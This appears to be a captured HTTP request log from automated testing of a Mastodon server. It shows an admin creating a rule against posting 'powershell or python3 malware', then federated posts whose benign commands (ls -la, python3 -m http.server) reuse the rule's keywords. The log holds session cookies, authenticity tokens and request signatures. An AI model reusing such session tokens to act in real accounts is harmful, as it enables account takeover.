_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMDIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--97d4d3c3fb39609736a7956063b81c57ed6d0340; _mastodon_session=gYT8mIwszZDbSN1gdFwY9Q1xZf%2FJMMEVWOq%2BvY%2BiaN1CFdxOSUNQMBNnaZxHwFKd9HSxn9a1T24fT9j0jcoKaZMAZdZQDOZNMnoYBpm5q1SzaGvShbOSYRc89bhWSZMOm%2Fw3pIAhyVGpLr4BL0PwZDefQBUzyxXQzbuPVXE2LLGd7V54vId0DEhv0n5o6WikucDYiyF6BFHj8UGP7MMQuELYs4KLwoGRJJNKl%2BR6ae%2FcUMf95rMUiwoN1%2BtDfC%2FjgZjaxOQhM%2Fh%2BQ0hqOnnogm2HkAV0uBbnXSBKaFdmjLK6vIA4IqcGYLpn8GpMLXkoScvGBfGGK0Xv5CGeLt%2Fp2%2Fb16f81vkYFbmyMlkZ7uNF%2FP6GWP1KiUmKtAlqNPJjdqtn0hSCUK7iP--0T28CR6K692tMMtf--RTuRQddKkjBXPCQHyy0XMg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/admin-gQ_AIoJT.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/rules", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--203c40bb381615d05f03a2f8a85e9fcc7e6b7270; _mastodon_session=vpjeH%2Bcg9tUjebhrSEwZuhDq3n80g8YMpXP6KDWyO%2B4g%2B9em9rT8gpWm6kz%2FIG5zh%2FHg4fYY4WjjSJupw5bjait4MINeSkEsk%2BKIcI4l%2BptzjTehWFVgxAMrSivMOxD5a6oQICl%2BhV7ZcA0mTJPHVk9EfiQvz7s44lSCvevimOG337bQWXgAjA8Wed3XAsB980n7mPnaf%2B%2F0w43PZfGJzuuJM2tQu44yyQr86O6dib490mLKM0PpQlQkt7Ci4g0%2Br14723bsqTLoMh0Lagx4dQKlUQ8qXPyziYf01nP0s7ZmCROmDcRGjE5GfISB2tuGpAi5yd9RVxpmESRl3L4xy%2FYBsSb0J49Vw0koSjKxbTDJGcOd%2Fk1X%2FGfumGVvK19yOjIM%2F%2FBeUmQQ--BycggxXUpL95VeKN--fGEvXkIXSWu0YcTmKu4STw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/rules/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqaGxOV1F6TW1JeVlXSmxaamMyWlRBM09EWmxZek5tWkRBeE1qRXdNR1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MTAuMzM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--203c40bb381615d05f03a2f8a85e9fcc7e6b7270; _mastodon_session=vpjeH%2Bcg9tUjebhrSEwZuhDq3n80g8YMpXP6KDWyO%2B4g%2B9em9rT8gpWm6kz%2FIG5zh%2FHg4fYY4WjjSJupw5bjait4MINeSkEsk%2BKIcI4l%2BptzjTehWFVgxAMrSivMOxD5a6oQICl%2BhV7ZcA0mTJPHVk9EfiQvz7s44lSCvevimOG337bQWXgAjA8Wed3XAsB980n7mPnaf%2B%2F0w43PZfGJzuuJM2tQu44yyQr86O6dib490mLKM0PpQlQkt7Ci4g0%2Br14723bsqTLoMh0Lagx4dQKlUQ8qXPyziYf01nP0s7ZmCROmDcRGjE5GfISB2tuGpAi5yd9RVxpmESRl3L4xy%2FYBsSb0J49Vw0koSjKxbTDJGcOd%2Fk1X%2FGfumGVvK19yOjIM%2F%2FBeUmQQ--BycggxXUpL95VeKN--fGEvXkIXSWu0YcTmKu4STw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/assets/favicon-32x32-CiQz7Niw.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=AL3VcyLj1n0BbLqghV2FnjedsGcBaO6YXBxxxJJ%2FPljYuYRlCKgWyAnPpSRKdxRLqPvWnppICtuHPIvFTj7B3Hon4UfHVayw%2FIOxNtiV9%2FPPhW%2FwBwpoK2AztZyL%2BnzvnS2ZKnhNKYctJHD0C4rREGzKTOxgUR3a5gCHuBfBE6ZUAWYXUrZZURz0%2F%2BDnKXDA6noWGxv0NlFoOyqGcLj3QmJQL6LvqbeFt%2BdVuJU7mvrVd%2Fz4ukC%2BUOaZJyJQKwps1y6yAjBvPyenZ95GeVHvMtXn16n5MmFNjQ%3D%3D--rXOV4nzcMvb2oI%2FF--1fhYl%2FgtYiKJGX%2Brxz%2BUtA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/media_modal-BzzTvu5_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/modulepreload-polyfill-P2Xu9kJm.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/packs/utils-B19lL5A9.js", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/rules/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzIuMzEzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--35bc3a84edb8807a976681c217d636f30923ece2; _mastodon_session=Arwg8xOrGwllUgSZBJE3JmLFUdR%2FZ9QZk0Qz8ItbMcRyNm0hyI3tnzxY0k93OuR%2FbSIdxtLRKdvqGgC%2BHHPmcaPDxa28ckMghREcRxKDKR6zYGTMuHvPHWrkl74N3HzlxPRh0vSBResXCdTP97KjLI%2BJ90ISR%2FRJLMDxzUVIgK4y7%2B9o%2BLdnOrhSgcgL8dc29IYJas1kePyXndciTUnvPlgK1kX6EsowiqwjAtcJMmYM5192zBTuIZ2zEQnnNJqZr2RGVqS%2Fuscs5abU7qdCLsGaIKSoQh8ZBh90FAJABvO5m3N5PiogsYtS5sCAbIGhD0KKfYCIkoNmoXljtR8HS44dcc6x%2FwtFDOdpWSXl7li2rIZ44HmLd5IciIkZnlXE3%2B29xZiE6xvp--DISsGI%2FzPaTFa8%2FR--pyjEquS%2F8Y3%2FeEujzx5VIg%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/rules/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzMuMzY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c1d98ce73d44fd31d5fd4635f301c3fd6aa1bb44; _mastodon_session=p6m93PIEFHVfOXOxCkbSUpYq9OUwJsLfi78lVaQvt1B325f7knpF75ttosgaEgrww64ySYCjldaKF134ao0aPwWVSj9zAgbNcRWrx%2BnzosuwmzT3zx%2B1%2BYXEKl0qTxpO2oIzNiRsZChLo30ob5dgfApaaEFJ7NFi6OdAMVpPWx8N23MB9iaJgTcYhZBt9GQPIY3KkYU7yoDKr2zicUVWZZKSgBrhZPI9tg9j1Ek%2BJlXcWokNT4tOvfGuI8qODxC90jOWyeBUbN%2F8lm6n5ttL1A7DiwJU7m4iYAFfLnLlTpYNqaHr3wSkXZ1saW2b0rSkSBXBNhQfmcnrwhtYTo7hBEvUXAdPVuTMlWSbnUdhVqXCLHDJLPKJoKrmDPFjb8h7AKFBSeKZlj%2FB--kjxBhmr8%2FlasSzrE--s1SnunCNfFFz%2Fvk0EQKG%2BA%3D%3D"], "body": "authenticity_token=XRgCXMq0ZnSnqcNY4B_FSTaacGg5gAbsAW9sxBm4eNUlzmuYvSnnRBjePwB_w8vXeX7eGL9onXljVnIFxPNuLw&rule%5Btext%5D=No+posting+of+powershell+or+python3+malware&rule%5Bhint%5D=Explaining+ls+-la+and+.htaccess+is+fine&button="}
{"method": "GET", "target": "/settings/preferences/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzYuMzM2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--525c8dfe218350761c42e9036f350133fedb1d8b; _mastodon_session=%2BfyWrSrOkbLB5%2BTaHxv4BeL33sDgPkGfdmAq81LrDrzpfXpCALhGtyvAjpvsPM%2BumHLhptcnA4T48AyWJjEBLwsCDloIZ0%2Fx7Td%2Fpf7v0XCdoEvkL%2FF3DNgcMsT1dD6zX1%2BP4V2t3on%2BSQ2L2500xt8QXlGCtVLd%2FqoytaeYBFq0LOEhxV0Wy%2F4hLg%2BcCRISlznrUXwuPWAsdaGSLSHZIkj3m42qWbxJE9rsImqfWZD0XV48DCjDwCEMXXQWXGR%2BgjD7pMBFbv74scJ%2BTR7GtMiN%2FzTWPkCzKjhkxyxR6PBHPym4Mocfu1ANHLiw5xuUEO8allE%2FoXos0sVl1YlmmeRXTckk%2B3s0kZdTIwmcQSA1p7Y6S54oNIIgN3w9NRg%2BLXsFOcEs%2BOM%2F--U%2BuwBJe7Sfx%2B0z0Z--lK8Wh6XPD70JhoUAbAxi%2FA%3D%3D"], "body": ""}
{"method": "POST", "target": "/auth/sign_out", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 120", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/preferences/appearance", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzVNemxtWXpnd05qRXhNek5oTmpkallUSmxNMkpoWlRrMU9HRTRNR1E0SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDE6MDA6MzYuNzcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--07fc69c11927e9226137db1d8ff961cce5037f48; _mastodon_session=4U4XinCMo3%2F3PCSbmw3qSlkfVVxI%2FcAklV3idWD25xgwG%2Bl%2FoRLAiwT3B51q7zz6TILyvgYehuy1kyuajv121pcRqzGczwCzj4NZyVelwpeFktM2B524HxTtWo3EluYvAs8iJIPg2fUwL%2B%2Fbb6WYNXNcEEE8i0OvAzYeSl9UvAlRBxuWSjkp%2Bib7R9LxEWwOTrNckwGr1zOEPF9n2lDWgV3tzoLB4SC9hnX9KBjESl7KBAcKVl%2FYK1AwoXAwwT8VT5RrutbCVLJr1zYOjzGV6dIWXwJ8u8DAWkaLkLU2zJIrgCeNxrUlzU2pbj4VDxdMaA7G8T6FglNm30w1sEypESvnTcjW1OXgzQjSgphgjowz1JgdAuvW7OanF4EB%2B3HYLfoasF7xudva--jemseh9kirfHooQK--wT%2B4lCY8B73hijkkDTg4cg%3D%3D"], "body": "_method=delete&authenticity_token=Ukx6K959crH1oidfhE2YoA-mabDq4PPMSVJ8ccdJOm9gj6p8AkuGJSUX7gscfTHAs5red_wXbumer2FIhKaT_g"}
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2483", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=FZROQqjDOKyPDl7fKcxNMM1bgBOj8ITDHNSklfJiWew=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"Yl6d6XaxNtokT6lWdDq2rHd59TYcY9Rz35DZEElrTTc2y9s27SfqjZHMxNgR8N/Q7Q/JItRG4okpCGGIMNq97AeEoce6EHrXfrggKdECJqw/VmMlB9Lz5xIOydPlSN9of++33Sd9H23GRWyv/xyAPLafpAQayVM3VKbu+KugRNBxt6M1JIHGy3KvkPQIs/YXUGTy8L8+Ha4Imf1E5i//aV831IPTXjJzjTFn41i/F4lmQGuOcaZLyAZfsTaXotHzEy6wYXcI7xET7wZC2vDmzdHqEFfFVK7ZkEUrCu0iDyPoX19sB6An4bKozf3E43ahKQXISu65RuPucFVGYAdZYA==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/300/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T13:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/300\",\"type\":\"Note\",\"summary\":\"python3 tips\",\"inReplyTo\":null,\"published\":\"2026-11-09T13:00:00Z\",\"url\":\"https://remote.example/@alice/300\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\"],\"sensitive\":true,\"content\":\"<p>Today I learned: <code>ls -la ~/.config</code> lists hidden files, and <code>python3 -m http.server</code> serves a folder. <a href=\\\"https://example.org/notes\\\" target=\\\"_blank\\\" rel=\\\"nofollow noopener\\\" translate=\\\"no\\\"><span class=\\\"invisible\\\">https://</span><span class=\\\"\\\">example.org/notes</span></a></p>\",\"contentMap\":{\"en\":\"<p>Today I learned: <code>ls -la ~/.config</code> lists hidden files, and <code>python3 -m http.server</code> serves a folder. <a href=\\\"https://example.org/notes\\\" target=\\\"_blank\\\" rel=\\\"nofollow noopener\\\" translate=\\\"no\\\"><span class=\\\"invisible\\\">https://</span><span class=\\\"\\\">example.org/notes</span></a></p>\"},\"attachment\":[{\"type\":\"Document\",\"mediaType\":\"image/png\",\"url\":\"https://remote.example/media/1.png\",\"name\":\"Screenshot of ls -la and .htaccess in a terminal\",\"blurhash\":\"U00000fQfQfQfQfQfQfQfQfQfQfQ\",\"width\":16,\"height\":16}],\"tag\":[]}}"}
{"method": "POST", "target": "/ap/users/117589326485981102/inbox", "headers": ["Content-Length: 2418", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 01:02:49 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=vFLr2RLu0uEAeVCCuYa+j6TFkgcF0xRsZpEK+N/VjMQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"I2NQZYk09uAsBoNCEScK3R9TV7jzfppw3wU7DYY5Uk6iY15CWuwQrv2MOolisviZb5R/q1pSaqXweZUs1zgDqglab6errhKWJfyalsJD4wfb4tYxgDAe3RW8OS3phlfb2VA6Flau4YyB6Lkz+wM8P14i6s/Vxu72Is1CBmcNa69QKAt7SQX5PrSpX5gPX4tFrFPmYd+NacuSi/ObLKdhtQTktFbLAz91tmfUqkrHSnvi/gXTqP9eS1ZDE2Ipbg/d34rYJE6En+iZvqe3gewQSLcru+IejLa6rM/uLG1Nss7FkhYJm6Jympj40jU0lHETEmdYczmrqDQikgCSLztkLg==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice#updates/2\",\"type\":\"Update\",\"actor\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"object\":{\"@context\":[\"https://www.w3.org/ns/activitystreams\",\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice\",\"type\":\"Person\",\"preferredUsername\":\"alice\",\"name\":\"Alice powershell\",\"summary\":\"<p>python3, powershell, ls -la and .htaccess</p>\",\"inbox\":\"https://remote.example/users/alice/inbox\",\"outbox\":\"https://remote.example/users/alice/outbox\",\"followers\":\"https://remote.example/users/alice/followers\",\"following\":\"https://remote.example/users/alice/following\",\"endpoints\":{\"sharedInbox\":\"https://remote.example/inbox\"},\"url\":\"https://remote.example/@alice\",\"publicKey\":{\"id\":\"https://remote.example/users/alice#main-key\",\"owner\":\"https://remote.example/users/alice\",\"publicKeyPem\":\"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh+7JMlOpvG2A1pJ0awX6\\nHkaPXyLYm8oOQwSGGgEi0e9WjAPXSTh1u3kc51VhRSP4JwYPf3Nr34a/EfygI1/K\\nw9Y79VHdHIe6R9Cjrt/ixm66Glnr7hniJoCyAL3ZcrEJ/Qvxqw5wzOEpNlNA6j76\\nX8rKtoiczVguVN6JhSDvA3kdIgdONCvRC+4Q9/bH/MLESPKJTDS0kno1NngAg9CZ\\nd/X2sIFdkygIdQrUeYoAhE8+m0dS4y6dEV2ue9GGPMG2irdXNDvonndjoNaGJ8zP\\nlo9LRZETB/HkpdB44XKjhXyvORG/qId98r4Is1UTr5kAyip0tNifO2SCyp6j5Dgb\\n7wIDAQAB\\n-----END PUBLIC KEY-----\\n\"},\"attachment\":[{\"type\":\"PropertyValue\",\"name\":\"python3\",\"value\":\"ls -la\"},{\"type\":\"PropertyValue\",\"name\":\".htaccess\",\"value\":\"powershell\"}]}}"}
